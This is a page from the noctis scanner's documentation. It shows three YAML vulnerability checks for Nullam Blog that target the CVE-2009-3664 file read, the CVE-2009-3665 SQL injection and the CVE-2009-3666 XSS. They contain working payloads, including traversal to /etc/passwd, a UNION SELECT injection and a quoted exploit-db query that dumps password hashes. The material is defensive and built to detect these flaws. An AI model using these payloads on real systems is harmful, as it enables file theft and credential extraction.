Nullam Blog — 3 vulnerability checks

noctis ships 3 vulnerability checks for Nullam Blog, covering 3 CVEs; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Nullam Blog index.php p / s Directory Traversal

CVECVE-2009-3664
Severitycritical · CVSS 9.8
Categoryfile-read — File read
Serviceshttp, https
Detectionset_var, http_request, script, match · highest QoD 75
Feedtests/vulnerabilities/nullam-blog/CVE-2009-3664.yaml

Tests Nullam Blog 0.1.2 and earlier for the unauthenticated arbitrary file read in index.php: the p parameter is passed to include() as "./pages/<p>.php" and the s parameter to file_get_contents() as "./pages/custom/<s>.html", with no check on "../". On PHP before 5.3.4 (with magic_quotes_gpc off) a NUL byte cuts off the suffix, so any file the web server user can read is returned, and p also runs included PHP code.

The feed looks for index.php at the web root, /nullam and /blog and keeps the ones that carry the Nullam page template. There it sends p, then s, set to a ../ sequence ending in etc/passwd and a NUL byte, then windows/win.ini and boot.ini when no passwd content comes back. The content of the file in the reply confirms the read. A control request for an absent random file through the same parameter must not return any of these files, so a server that serves the same content on every request is not reported. Only world-readable system files are read. The account name (unless root), password field and gecos of the uid-0 line are redacted from the evidence.

How noctis detects it

  1. HTTP(S) request GET {{t.d}}/index.php
  2. Parses / computes the next value with a Rhai script
  3. HTTP(S) request GET {{t.d}}/index.php?{{t.p}}=../../../../../../../../../../../../etc/passwd%00
  4. Checks passwd_r.body for (?m)(?:^|>)([^:\r\n<>]+):[^:\r\n]*:0:([0-9]+):[^:\r\n]*:([^:\r\n]*:[^…
  5. Parses / computes the next value with a Rhai script
  6. HTTP(S) request GET {{t.d}}/index.php?{{t.p}}=../../../../../../../../../../../../windows/win.ini%00
  7. Checks winini_r.body for (?i)(; for 16-bit app support|\[fonts\])
  8. HTTP(S) request GET {{t.d}}/index.php?{{t.p}}=../../../../../../../../../../../../boot.ini%00
  9. Checks bootini_r.body for (?i)\[boot loader\]
  10. Parses / computes the next value with a Rhai script
  11. HTTP(S) request GET {{t.d}}/index.php?{{t.p}}={{ctrl_path}}
  12. Checks ctrl_r.body for (?mi)((?:^|>)[^:\r\n<>]+:[^:\r\n]*:0:[0-9]+:|; for 16-bit app support…
  13. Checks lin_proof for ^(?:root|<redacted>):<redacted>:0:[0-9]+: → finding QoD 75: Nullam Blog index.php Directory Traversal (CVE-2009-3664)
  14. Checks win_file for ^(windows/win\.ini|boot\.ini)$ → finding QoD 75: Nullam Blog index.php Directory Traversal (CVE-2009-3664)

References:

Feed source — tests/vulnerabilities/nullam-blog/CVE-2009-3664.yaml
# Nullam Blog 0.1.2 index.php p / s directory traversal (file inclusion / disclosure) — CVE-2009-3664
#
# nullam-0.1.2 index.php (SourceForge tarball) builds
#     $include = "./pages/" . $_GET['p'] . ".php";          → include($include)
#     $include = "./pages/custom/" . $_GET['s'] . ".html";  → file_get_contents($include)
# with no check, so "../" sequences reach any file; on PHP < 5.3.4 a "%00"
# cuts off the ".php" / ".html" suffix (advisory: exploit-db 9625). Nullam
# 0.1.3 wraps both values in basename().
#
# Detection (benign, read-only, QoD 75): on an index.php that carries the
# Nullam template markers (default <title>Nullam</title> or the keywords meta
# hardcoded in templates/header.tpl), request
#     index.php?p=<12 × ../>etc/passwd%00   then the same with s=
# and match the CONTENT of /etc/passwd; when no passwd line comes back, the
# same for windows/win.ini, then boot.ini. With p the included file is printed
# before the page, with s it is placed raw inside the page.
#
# Improvements over the source NASL:
#   - Twelve "../" levels instead of six: s needs one more (pages/custom/), and
#     installs nested deeper than the web root are still read.
#   - The NASL needs the page title to be exactly the default "Nullam" and a 200
#     on index.php; the feed also accepts the keywords meta of the shipped
#     header template, so a blog whose owner renamed it is still found.
#   - A control request (same parameter, a path in an absent random directory
#     that still ends with the file that hit) must come back WITHOUT any of
#     these files; a blanket responder or a honeypot keying a fake file on the
#     path suffix is not reported (fail-closed: no control reply → no finding).
#   - The account name (unless "root"), password field and gecos of the uid-0
#     line are redacted before they reach the finding.
#
# CVEs: the NASL lists CVE-2009-3664 (this file read), CVE-2009-3665 (SQLi) and
# CVE-2009-3666 (XSS, its second request). The two others have their own feeds
# in this directory. CVSS: NVD v3.1 9.8 (v2 7.5).
#
# Ported from OpenVAS/Greenbone NVT 2009/gb_nullam_blog_mult_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.900888, GPL-2.0-only).
uid: 8fa5491b-e35e-487f-a7fc-0b9ffd6abe81
name: "Nullam Blog index.php p / s Directory Traversal (CVE-2009-3664)"
description: |
  Tests Nullam Blog 0.1.2 and earlier for the unauthenticated arbitrary file
  read in index.php: the p parameter is passed to include() as
  "./pages/<p>.php" and the s parameter to file_get_contents() as
  "./pages/custom/<s>.html", with no check on "../". On PHP before 5.3.4 (with
  magic_quotes_gpc off) a NUL byte cuts off the suffix, so any file the web
  server user can read is returned, and p also runs included PHP code.

  The feed looks for index.php at the web root, /nullam and /blog and keeps the
  ones that carry the Nullam page template. There it sends p, then s, set to a
  ../ sequence ending in etc/passwd and a NUL byte, then windows/win.ini and
  boot.ini when no passwd content comes back. The content of the file in the
  reply confirms the read. A control request for an absent random file through
  the same parameter must not return any of these files, so a server that
  serves the same content on every request is not reported. Only
  world-readable system files are read. The account name (unless root),
  password field and gecos of the uid-0 line are redacted from the evidence.
cves: [CVE-2009-3664]
cvss: 9.8
severity: critical
category: file-read
confidence_base: 0.30
tags: [nullam-blog, php, path-traversal, directory-traversal, lfi, file-read, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2009-3664"
  - "https://www.exploit-db.com/exploits/9625"
  - "https://sourceforge.net/projects/nullam/files/0.1.3/"
  # OpenVAS/Greenbone NASL 2009/gb_nullam_blog_mult_vuln.nasl (GPL-2.0-only)

steps:
  # ── Loop group: every following step runs once per (install dir, parameter).
  # Each pass resets the values it reads, so nothing is left over.
  - id: init-home-r
    action: set_var
    var_name: home_r
    var_value: {status: 0, body: ""}
    loop:
      var: t
      over:
        - {d: "", p: "p"}
        - {d: "", p: "s"}
        - {d: "/nullam", p: "p"}
        - {d: "/nullam", p: "s"}
        - {d: "/blog", p: "p"}
        - {d: "/blog", p: "s"}

  - id: init-is-nullam
    action: set_var
    var_name: is_nullam
    var_value: false

  - id: init-passwd-r
    action: set_var
    var_name: passwd_r
    var_value: {status: 0, body: ""}

  - id: init-lin-proof
    action: set_var
    var_name: lin_proof
    var_value: ""

  - id: init-win-file
    action: set_var
    var_name: win_file
    var_value: ""

  - id: init-winini-r
    action: set_var
    var_name: winini_r
    var_value: {status: 0, body: ""}

  - id: init-bootini-r
    action: set_var
    var_name: bootini_r
    var_value: {status: 0, body: ""}

  - id: init-ctrl-r
    action: set_var
    var_name: ctrl_r
    var_value: {status: 0, body: ""}

  - id: init-ctrl-path
    action: set_var
    var_name: ctrl_path
    var_value: ""

  - id: init-ctrl-hit
    action: set_var
    var_name: ctrl_hit
    var_value: false

  # ── Product gate: the Nullam page template ───────────────────────────────
  - id: fetch-home
    action: http_request
    method: GET
    path: "{{t.d}}/index.php"
    port: "{{port}}"
    tls_insecure: true
    timeout_secs: 10
    store_as: home_r

  - id: fingerprint
    action: script
    code: |
      let body = if type_of(home_r.body) == "string" { home_r.body } else { "" };
      egrep("(?i)<title>\\s*Nullam\\s*</title>|<meta name=\"keywords\" content=\"Nullam, Nothing, null, void", body) != ""
    store_as: is_nullam

  # ── Linux: /etc/passwd ───────────────────────────────────────────────────
  - id: read-passwd
    action: http_request
    method: GET
    path: "{{t.d}}/index.php?{{t.p}}=../../../../../../../../../../../../etc/passwd%00"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: "is_nullam == true"
    store_as: passwd_r

  # No on_match: the raw body must not become evidence.
  # name:pw:0:gid:gecos:home:shell — only the name, gid and home:shell are captured.
  - id: passwd-content
    action: match
    source: passwd_r.body
    pattern: "(?m)(?:^|>)([^:\\r\\n<>]+):[^:\\r\\n]*:0:([0-9]+):[^:\\r\\n]*:([^:\\r\\n]*:[^:\\r\\n<]*)"
    condition: "is_nullam == true"
    store_as: passwd_m

  - id: passwd-redact
    action: script
    condition: "is_nullam == true"
    code: |
      if passwd_m.matched && passwd_m.captures.len() > 2 {
        if passwd_m.captures[0] == "root" {
          "root:<redacted>:0:" + passwd_m.captures[1] + ":<redacted>:" + passwd_m.captures[2]
        } else {
          "<redacted>:<redacted>:0:" + passwd_m.captures[1] + ":<redacted>:<redacted>"
        }
      } else { "" }
    store_as: lin_proof

  # ── Windows: windows/win.ini, then boot.ini (older Windows) ──────────────
  - id: read-winini
    action: http_request
    method: GET
    path: "{{t.d}}/index.php?{{t.p}}=../../../../../../../../../../../../windows/win.ini%00"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'is_nullam == true && lin_proof == ""'
    store_as: winini_r

  - id: winini-content
    action: match
    source: winini_r.body
    pattern: "(?i)(; for 16-bit app support|\\[fonts\\])"
    condition: 'is_nullam == true && lin_proof == ""'
    on_match:
      set_vars:
        win_file: "windows/win.ini"

  - id: read-bootini
    action: http_request
    method: GET
    path: "{{t.d}}/index.php?{{t.p}}=../../../../../../../../../../../../boot.ini%00"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'is_nullam == true && lin_proof == "" && win_file == ""'
    store_as: bootini_r

  - id: bootini-content
    action: match
    source: bootini_r.body
    pattern: "(?i)\\[boot loader\\]"
    condition: 'is_nullam == true && lin_proof == "" && win_file == ""'
    on_match:
      set_vars:
        win_file: "boot.ini"

  # ── Control: same parameter, absent random file — must NOT carry a file ──
  # The absent path sits in a random missing directory but still ENDS with
  # the file that hit, so a honeypot keying a fake file on it answers too.
  - id: control-path
    action: script
    code: |
      let f = if lin_proof != "" { "etc/passwd" } else { win_file };
      "../../../../../../../../../../../../noctis-absent-" + oob_token + "/" + f + "%00"
    condition: 'lin_proof != "" || win_file != ""'
    store_as: ctrl_path

  - id: control
    action: http_request
    method: GET
    path: "{{t.d}}/index.php?{{t.p}}={{ctrl_path}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'lin_proof != "" || win_file != ""'
    store_as: ctrl_r

  - id: control-content
    action: match
    source: ctrl_r.body
    pattern: "(?mi)((?:^|>)[^:\\r\\n<>]+:[^:\\r\\n]*:0:[0-9]+:|; for 16-bit app support|\\[fonts\\]|\\[boot loader\\])"
    condition: 'lin_proof != "" || win_file != ""'
    on_match:
      set_vars:
        ctrl_hit: true

  # ── Findings (control answered and stayed clean) ─────────────────────────
  - id: report-passwd
    action: match
    source: lin_proof
    pattern: "^(?:root|<redacted>):<redacted>:0:[0-9]+:"
    condition: "ctrl_r.status != 0 && ctrl_hit == false"
    on_match:
      finding:
        title: "Nullam Blog index.php Directory Traversal (CVE-2009-3664)"
        description: "An unauthenticated request to Nullam Blog's index.php with a page parameter set to a ../ sequence ending in etc/passwd and a NUL byte returned the content of /etc/passwd, while the same request for an absent file did not. The same flaw reads any other file the web server user can read, such as settings.php with the database password, and through the p parameter includes local files as PHP code."
        remediation: "Upgrade Nullam Blog to 0.1.3 or later (index.php then keeps only basename() of p and s), run a PHP release of 5.3.4 or later (NUL bytes in paths are rejected), and since the project is no longer maintained, consider replacing it."
        confidence_delta: 0.55
        qod: 75
        evidence: "{{t.d}}/index.php?{{t.p}}=../../../../../../../../../../../../etc/passwd%00 returned /etc/passwd; control for an absent file returned no file content ({{lin_proof}})"
      stop: true

  - id: report-windows
    action: match
    source: win_file
    pattern: "^(windows/win\\.ini|boot\\.ini)$"
    condition: "ctrl_r.status != 0 && ctrl_hit == false"
    on_match:
      finding:
        title: "Nullam Blog index.php Directory Traversal (CVE-2009-3664)"
        description: "An unauthenticated request to Nullam Blog's index.php with a page parameter set to a ../ sequence ending in a Windows system file and a NUL byte returned that file's content, while the same request for an absent file did not. The same flaw reads any other file the web server user can read, such as settings.php with the database password, and through the p parameter includes local files as PHP code."
        remediation: "Upgrade Nullam Blog to 0.1.3 or later (index.php then keeps only basename() of p and s), run a PHP release of 5.3.4 or later (NUL bytes in paths are rejected), and since the project is no longer maintained, consider replacing it."
        confidence_delta: 0.55
        qod: 75
        evidence: "{{t.d}}/index.php?{{t.p}}=../../../../../../../../../../../../{{win_file}}%00 returned the content of {{win_file}}; control for an absent file returned no file content"
      stop: true

Nullam Blog register v Parameter SQL Injection

CVECVE-2009-3665
Severitycritical · CVSS 9.8
Categorysqli — SQL injection
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/nullam-blog/CVE-2009-3665.yaml

Nullam Blog 0.1.2 and earlier puts the v parameter (account verification hash) of index.php?p=register into two SQL queries without escaping and prints the user name the second one returns, allowing unauthenticated SQL injection (an attacker can read the whole database, password hashes included). The flaw needs magic_quotes_gpc to be off.

The feed looks for index.php at the web root, /nullam and /blog and keeps the ones that carry the Nullam page template. There it sends a v value that closes the quoted string and adds a UNION SELECT of an expression multiplying two random numbers. The vulnerability is confirmed when the page reports that user name as verified with the product computed by the database, which never appears in the request. No table data is read, and the injected value makes the UPDATE query that runs first invalid, so no account is changed.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{dir}}/index.php
  3. Parses / computes the next value with a Rhai script
  4. HTTP(S) request GET {{dir}}/index.php?p=register&v={{sc.q}}
  5. Parses / computes the next value with a Rhai script
  6. Checks hit_dir for ^/ → finding QoD 97: Nullam Blog register v Parameter SQL Injection (CVE-2009-3665)

References:

Feed source — tests/vulnerabilities/nullam-blog/CVE-2009-3665.yaml
# Nullam Blog 0.1.2 register verification hash (v) SQL injection — CVE-2009-3665
#
# nullam-0.1.2 pages/register.php (SourceForge tarball), reached through
# index.php?p=register&v=…, runs
#     UPDATE `users` SET `verified`=1 WHERE `verifyHash`='%s' LIMIT 1;
#     SELECT `uname`,`verified` FROM `users` WHERE `verifyHash`='%s' LIMIT 1;
# with sprintf("%s", $_GET['v']) and prints
#     "User <uname> successfully verified! ..."
# when exactly one row comes back (advisory: exploit-db 9625, which dumps the
# users table: v=-1' UNION ALL SELECT GROUP_CONCAT(uname,0x3a,passwd),2 FROM users#).
# Nullam 0.1.3 only runs these queries for an alphanumeric v.
#
# Detection (QoD 97): on an index.php that carries the Nullam template markers,
#     index.php?p=register&v=-1' UNION ALL SELECT CONCAT(0x4e4f43544953,a*b,0x454e44),2-- -
# with random six-digit a, b. The product a*b is never in the request, so only
# a database that evaluated our expression can print "User NOCTIS<a*b>END
# successfully verified". Read-only: the injected value turns the UPDATE that
# runs first into a syntax error (a UNION is not valid there), so no account is
# verified, and no table is read (checked on MariaDB 10.11).
#
# Better than the source NASL: the NASL does not test the SQL injection at all
# (it only probes the file read and the e-parameter XSS). The CVE's other
# vector, the i parameter of the news page (LIKE '%s' in a long query), needs a
# blind timing probe and is not used: one in-band proof is enough.
#
# CVSS: NVD v3.1 9.8 (v2 7.5).
#
# Companion of the port of OpenVAS/Greenbone NVT 2009/gb_nullam_blog_mult_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.900888, GPL-2.0-only), which lists this CVE.
uid: bddd0541-8da6-4e6c-aa48-2c82b610c31f
name: "Nullam Blog register v Parameter SQL Injection (CVE-2009-3665)"
description: |
  Nullam Blog 0.1.2 and earlier puts the v parameter (account verification
  hash) of index.php?p=register into two SQL queries without escaping and
  prints the user name the second one returns, allowing unauthenticated SQL
  injection (an attacker can read the whole database, password hashes
  included). The flaw needs magic_quotes_gpc to be off.

  The feed looks for index.php at the web root, /nullam and /blog and keeps the
  ones that carry the Nullam page template. There it sends a v value that
  closes the quoted string and adds a UNION SELECT of an expression multiplying
  two random numbers. The vulnerability is confirmed when the page reports that
  user name as verified with the product computed by the database, which never
  appears in the request. No table data is read, and the injected value makes
  the UPDATE query that runs first invalid, so no account is changed.
cves: [CVE-2009-3665]
cvss: 9.8
severity: critical
category: sqli
confidence_base: 0.30
tags: [nullam-blog, php, sqli, union-based, mysql, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2009-3665"
  - "https://www.exploit-db.com/exploits/9625"
  - "https://sourceforge.net/projects/nullam/files/0.1.3/"
  # OpenVAS/Greenbone NASL 2009/gb_nullam_blog_mult_vuln.nasl (GPL-2.0-only)

steps:
  # ── Random operands, expected text and the encoded v value ───────────────
  - id: gen-proof
    action: script
    code: |
      let a = rand_int(100000, 999999);
      let b = rand_int(100000, 999999);
      #{ want: "User NOCTIS" + (a * b) + "END successfully verified",
         expr: a + "*" + b,
         q: "-1%27%20UNION%20ALL%20SELECT%20CONCAT(0x4e4f43544953," + a + "*" + b + ",0x454e44),2--%20-" }
    store_as: sc

  - id: init-hit
    action: set_var
    var_name: hit_dir
    var_value: ""

  # ── Per candidate install path (loop group) ───────────────────────────────
  - id: init-home-r
    action: set_var
    var_name: home_r
    var_value: {status: 0, body: ""}
    loop:
      var: dir
      over: ["", "/nullam", "/blog"]

  - id: init-is-nullam
    action: set_var
    var_name: is_nullam
    var_value: false

  - id: init-sqli-r
    action: set_var
    var_name: sqli_r
    var_value: {status: 0, body: ""}

  - id: fetch-home
    action: http_request
    method: GET
    path: "{{dir}}/index.php"
    port: "{{port}}"
    tls_insecure: true
    timeout_secs: 10
    condition: 'hit_dir == ""'
    store_as: home_r

  - id: fingerprint
    action: script
    condition: 'hit_dir == ""'
    code: |
      let body = if type_of(home_r.body) == "string" { home_r.body } else { "" };
      egrep("(?i)<title>\\s*Nullam\\s*</title>|<meta name=\"keywords\" content=\"Nullam, Nothing, null, void", body) != ""
    store_as: is_nullam

  - id: union-probe
    action: http_request
    method: GET
    path: "{{dir}}/index.php?p=register&v={{sc.q}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: 'hit_dir == "" && is_nullam == true'
    store_as: sqli_r

  - id: check-product
    action: script
    condition: 'hit_dir == "" && is_nullam == true'
    code: |
      let body = if type_of(sqli_r.body) == "string" { sqli_r.body } else { "" };
      if body.contains(sc.want) { if dir == "" { "/" } else { dir } } else { "" }
    store_as: hit_dir

  # ── Finding ───────────────────────────────────────────────────────────────
  - id: report
    action: match
    source: hit_dir
    pattern: "^/"
    on_match:
      finding:
        title: "Nullam Blog register v Parameter SQL Injection (CVE-2009-3665)"
        description: "An unauthenticated request to Nullam Blog's index.php?p=register with v set to a UNION SELECT of a multiplication of two random numbers made the page report a user named after the product computed by the database: v reaches the SQL query unescaped, so an attacker can read the whole database, user names and password hashes included."
        remediation: "Upgrade Nullam Blog to 0.1.3 or later (v is then only used when it is alphanumeric); since the project is no longer maintained, consider replacing it."
        confidence_delta: 0.67
        qod: 97
        evidence: "install dir {{hit_dir}}: index.php?p=register&v=-1' UNION ALL SELECT CONCAT(0x4e4f43544953,{{sc.expr}},0x454e44),2-- - returned \"{{sc.want}}\""
      stop: true

Nullam Blog error page e Parameter Cross-Site Scripting

CVECVE-2009-3666
Severitymedium · CVSS 6.1
Categoryxss — XSS
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 75
Feedtests/vulnerabilities/nullam-blog/CVE-2009-3666.yaml

Nullam Blog 0.1.2 and earlier prints the e parameter of index.php?p=error into the error page without encoding, so a crafted link runs script in the victim's browser in the context of the blog (reflected cross-site scripting).

The feed looks for index.php at the web root, /nullam and /blog and keeps the ones that carry the Nullam page template. There it requests the error page with e set to a script tag carrying a random marker. The vulnerability is confirmed when the page prints the error line with the script tag and the marker unencoded. Nothing is stored on the server.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{dir}}/index.php
  3. Parses / computes the next value with a Rhai script
  4. HTTP(S) request GET {{dir}}/index.php?p=error&e=%3Cscript%3Ealert(%2F{{mk.m}}%2F)%3C%2Fscript%3E
  5. Parses / computes the next value with a Rhai script
  6. Checks hit_dir for ^/ → finding QoD 75: Nullam Blog error page e Parameter Cross-Site Scripting (CVE-2009-3666)

References:

Feed source — tests/vulnerabilities/nullam-blog/CVE-2009-3666.yaml
# Nullam Blog 0.1.2 error page e parameter reflected XSS — CVE-2009-3666
#
# nullam-0.1.2 pages/error.php (SourceForge tarball), reached through
# index.php?p=error&e=…, builds  $error = "Error " . $e . " occured!</p>";
# and templates/error.tpl prints it raw:
#     <p style="text-align:center;color:red;">ERROR: {$error}</p>
# Nullam 0.1.3 casts e to an integer (settype + sprintf("%d")).
#
# Detection (QoD 75): on an index.php that carries the Nullam template markers,
#     index.php?p=error&e=<script>alert(/<random marker>/)</script>
# and require the exact line "ERROR: Error <script>alert(/<marker>/)</script>
# occured!" in the reply. Nothing is stored on the server.
#
# Improvements over the source NASL:
#   - a random marker instead of the fixed alert('VT-SQL-Injection-Test'), so a
#     page that always carries that well-known string is not reported;
#   - no quote in the payload: with magic_quotes_gpc on, a quoted payload comes
#     back as alert(\'…\') and the NASL misses a page that is still injectable;
#   - the NASL needs the default title "Nullam" and a 200; the feed also accepts
#     the keywords meta of the shipped header template.
#
# CVSS: NVD v3.1 6.1 (v2 4.3).
#
# Ported from OpenVAS/Greenbone NVT 2009/gb_nullam_blog_mult_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.900888, GPL-2.0-only) — its second request.
uid: 62c1f359-6a13-4b2f-9c7c-0f0a9fad8fc4
name: "Nullam Blog error page e Parameter Cross-Site Scripting (CVE-2009-3666)"
description: |
  Nullam Blog 0.1.2 and earlier prints the e parameter of index.php?p=error
  into the error page without encoding, so a crafted link runs script in the
  victim's browser in the context of the blog (reflected cross-site
  scripting).

  The feed looks for index.php at the web root, /nullam and /blog and keeps the
  ones that carry the Nullam page template. There it requests the error page
  with e set to a script tag carrying a random marker. The vulnerability is
  confirmed when the page prints the error line with the script tag and the
  marker unencoded. Nothing is stored on the server.
cves: [CVE-2009-3666]
cvss: 6.1
severity: medium
category: xss
confidence_base: 0.30
tags: [nullam-blog, php, xss, reflected-xss, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2009-3666"
  - "https://www.exploit-db.com/exploits/9625"
  - "https://sourceforge.net/projects/nullam/files/0.1.3/"
  # OpenVAS/Greenbone NASL 2009/gb_nullam_blog_mult_vuln.nasl (GPL-2.0-only)

steps:
  # ── Random marker and the exact line a vulnerable page prints ────────────
  - id: gen-marker
    action: script
    code: |
      let m = "noctis" + oob_token.sub_string(0, 8) + oob_token.sub_string(9, 4);
      #{ m: m, want: "ERROR: Error <script>alert(/" + m + "/)</script> occured!" }
    store_as: mk

  - id: init-hit
    action: set_var
    var_name: hit_dir
    var_value: ""

  # ── Per candidate install path (loop group) ───────────────────────────────
  - id: init-home-r
    action: set_var
    var_name: home_r
    var_value: {status: 0, body: ""}
    loop:
      var: dir
      over: ["", "/nullam", "/blog"]

  - id: init-is-nullam
    action: set_var
    var_name: is_nullam
    var_value: false

  - id: init-xss-r
    action: set_var
    var_name: xss_r
    var_value: {status: 0, body: ""}

  - id: fetch-home
    action: http_request
    method: GET
    path: "{{dir}}/index.php"
    port: "{{port}}"
    tls_insecure: true
    timeout_secs: 10
    condition: 'hit_dir == ""'
    store_as: home_r

  - id: fingerprint
    action: script
    condition: 'hit_dir == ""'
    code: |
      let body = if type_of(home_r.body) == "string" { home_r.body } else { "" };
      egrep("(?i)<title>\\s*Nullam\\s*</title>|<meta name=\"keywords\" content=\"Nullam, Nothing, null, void", body) != ""
    store_as: is_nullam

  - id: xss-probe
    action: http_request
    method: GET
    path: "{{dir}}/index.php?p=error&e=%3Cscript%3Ealert(%2F{{mk.m}}%2F)%3C%2Fscript%3E"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'hit_dir == "" && is_nullam == true'
    store_as: xss_r

  - id: check-reflection
    action: script
    condition: 'hit_dir == "" && is_nullam == true'
    code: |
      let body = if type_of(xss_r.body) == "string" { xss_r.body } else { "" };
      if body.contains(mk.want) { if dir == "" { "/" } else { dir } } else { "" }
    store_as: hit_dir

  # ── Finding ───────────────────────────────────────────────────────────────
  - id: report
    action: match
    source: hit_dir
    pattern: "^/"
    on_match:
      finding:
        title: "Nullam Blog error page e Parameter Cross-Site Scripting (CVE-2009-3666)"
        description: "Nullam Blog's index.php?p=error printed the e parameter unencoded: a script tag with a random marker sent in e came back as-is in the error line, so a crafted link runs script in a visitor's browser in the context of the blog."
        remediation: "Upgrade Nullam Blog to 0.1.3 or later (e is then cast to an integer); since the project is no longer maintained, consider replacing it."
        confidence_delta: 0.55
        qod: 75
        evidence: "install dir {{hit_dir}}: index.php?p=error&e=<script>alert(/{{mk.m}}/)</script> returned \"{{mk.want}}\""
      stop: true

View these feeds on GitHub